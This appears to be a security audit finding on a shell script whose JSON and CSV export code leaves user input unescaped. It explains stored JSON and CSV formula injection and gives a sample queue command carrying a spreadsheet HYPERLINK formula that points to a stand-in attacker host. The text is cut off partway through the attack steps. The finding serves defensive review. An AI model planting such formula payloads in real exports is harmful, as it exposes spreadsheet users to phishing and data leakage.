T09 · Insecure Skill Coding Practices
Warning
- Location
scripts/script.sh:64- Finding
Unescaped User Input in JSON and CSV Exports
- Content
View full analysis
> "$out" done < "$f" done echo "" >> "$out" echo "]" >> "$out" ;; csv) echo "type,time,value" > "$out" for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do echo "$name,$ts,$val" >> "$out" ``` ### Technical Analysis Queue commands store attacker-controlled arguments in log files. The export implementation later inserts those values directly into JSON and CSV output without format-specific escaping. For JSON exports, characters such as double quotes, backslashes, control characters, and embedded newlines are not JSON-encoded. A crafted queue value can therefore corrupt the generated document or inject additional JSON properties or objects. For CSV exports, fields are not quoted and embedded quotes, commas, or newlines are not escaped. More importantly, values beginning with spreadsheet formula prefixes such as `=`, `+`, `-`, or `@` remain executable formulas in spreadsheet applications that support formula evaluation. This is a stored injection issue: the malicious value is first persisted through a queue command and is subsequently transferred into an exported file. ### Attack Path 1. An attacker causes a crafted value to be added to the queue, for example: ```bash queue add '=HYPERLINK("https://attacker.example/collect","Open report")' ``` 2. The value is stored in `~/.local/share/queue/add.log`. 3. A user generates a CSV export: ```bash queue export csv ``` 4. The script copies the value into `export.csv` without quoting or formula neutralization. 5. The user opens the export in a spreadsheet application. 6. Depending on the spreadsheet applicat ...[truncated 1283 chars]- Remediation
View remediation